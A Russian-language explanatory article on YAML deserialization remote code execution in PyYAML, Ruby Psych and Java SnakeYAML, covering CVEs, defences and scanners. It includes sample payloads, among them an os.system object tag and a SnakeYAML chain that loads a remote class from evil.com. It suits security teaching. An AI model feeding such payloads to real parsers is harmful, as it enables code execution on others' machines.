YAML — это удобный формат сериализации данных, который используется повсеместно: от конфигурационных файлов до API-интерфейсов. Но именно его удобство и гибкость часто становятся причиной серьезных уязвимостей. Одной из таких проблем является YAML Deserialization RCE — удаленное выполнение кода при небезопасной десериализации данных. В этой статье мы разберем, что стоит за этим термином, как именно атакующие используют уязвимость и что можно сделать для защиты.
Что такое десериализация и почему она опасна
Сериализация — это процесс преобразования сложных структур данных (например, объектов в Python или Java) в строку или бинарный формат для хранения или передачи. Десериализация, соответственно, делает обратное: берет строку и восстанавливает объект в памяти.
Опасность возникает тогда, когда разработчик принимает данные извне (например, от пользователя или из сети) и десериализует их без ограничений. Если формат данных поддерживает сложные типы объектов, атакующий может подсунуть не просто «данные», а целый объект с вредоносным поведением. При загрузке такого объекта может произойти запуск системных команд или выполнение произвольного кода.
- Сериализация = упаковка данных в строку.
- Десериализация = обратное превращение строки в объект.
- RCE (Remote Code Execution) = возможность выполнить произвольный код на машине жертвы.
Почему именно YAML
YAML был создан как человеко-читаемый формат, удобный для хранения конфигураций. Его используют в Kubernetes , Ansible, CI/CD-инструментах и десятках фреймворков. Проблема в том, что многие реализации YAML поддерживают возможность создавать полноценные объекты при десериализации. Это значит, что YAML может содержать не только ключи и значения, но и инструкции для создания объектов из конкретных классов.
Пример невинного YAML:
name: Alex role: admin
Пример YAML с объектом:
!!python/object/apply:os.system - "echo hacked > /tmp/pwned.txt"
В этом случае при десериализации с помощью небезопасного парсера Python выполнит команду os.system
и создаст файл. Именно поэтому YAML так часто становится целью атак.
Реальные примеры атак
За последние годы было несколько громких случаев, когда YAML-десериализация приводила к RCE. Например, уязвимости в библиотеках Python PyYAML, в Ruby Psych и в Java SnakeYAML. Многие из них возникали из-за того, что по умолчанию парсеры позволяли загружать произвольные объекты.
- Python (PyYAML): использование
yaml.load()
вместоyaml.safe_load()
( CVE-2017-18342 ). - Ruby (Psych): неконтролируемая загрузка YAML с объектами ( отчет на HackerOne ).
- Java (SnakeYAML): возможность загружать классы и запускать код при десериализации ( CVE-2022-1471 ).
Эти случаи показывают, что проблема не ограничивается одной экосистемой. Ошибки в обработке YAML встречаются в разных языках программирования и влияют на множество приложений и библиотек.
Как выглядит эксплуатация
Чтобы лучше понять механику, давайте посмотрим на простой пример в Python:
import yaml malicious = "!!python/object/apply:os.system ['calc.exe']" yaml.load(malicious, Loader=yaml.FullLoader)
Этот код при запуске откроет калькулятор. Все потому, что PyYAML посчитал, что это не просто строка, а инструкция для создания объекта. На практике атакующий может подставить что угодно: от загрузки бекдора до запуска удаленного скрипта.
Аналогичные примеры есть в других языках:
// Java SnakeYAML Yaml yaml = new Yaml(); Object obj = yaml.load("!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://evil.com/Exploit.jar"]]]]");
В Java можно заставить загрузить удаленный класс с сервера злоумышленника. И это уже куда более серьезный сценарий, чем «калькулятор».
Как защититься
К счастью, большинство популярных библиотек уже осознали проблему и предлагают безопасные режимы. Основные рекомендации:
- Использовать безопасные функции:
yaml.safe_load()
в Python вместоyaml.load()
. - Обновлять библиотеки до последних версий.
- Никогда не десериализовать YAML из недоверенных источников.
- Использовать статический анализ кода и сканеры зависимостей (например, Snyk или OWASP Dependency-Check ).
- Применять валидацию входных данных и схемы (например, JSON Schema , если формат допускает переход на JSON).
Если YAML используется только для хранения конфигурации — ограничивайте набор допустимых типов данных. В большинстве случаев нет необходимости поддерживать загрузку объектов.
Частые ошибки разработчиков
- Использование небезопасных функций «по привычке».
- Полагание на то, что «файл же локальный, значит, безопасный».
- Игнорирование обновлений библиотек.
- Отсутствие тестов безопасности для конфигурационных файлов.
Особенно опасна иллюзия, что YAML всегда читается только из доверенных источников. На практике его могут подсовывать через CI/CD, зависимости или даже через PR в open source проект.
Инструменты для анализа
Существует ряд инструментов, которые помогают выявлять проблемы десериализации:
- Bandit — анализатор Python-кода.
- FindSecBugs — расширение SpotBugs для Java.
- Semgrep — универсальный анализатор.
- njsscan — для Node.js проектов.
Эти инструменты могут находить небезопасные вызовы и подсказывать, где именно нужно заменить функции или обновить зависимости.
Вывод
YAML Deserialization RCE — это не «экзотическая» уязвимость, а реальная угроза, которая регулярно всплывает в популярных библиотеках. Ее сила в том, что атакующий может превратить обычный конфигурационный файл в оружие, если код обрабатывает его без ограничений. Разработчикам стоит помнить: удобство не должно перевешивать безопасность. А пользователям — обновлять свои инструменты и библиотеки, чтобы не оказаться на месте жертвы.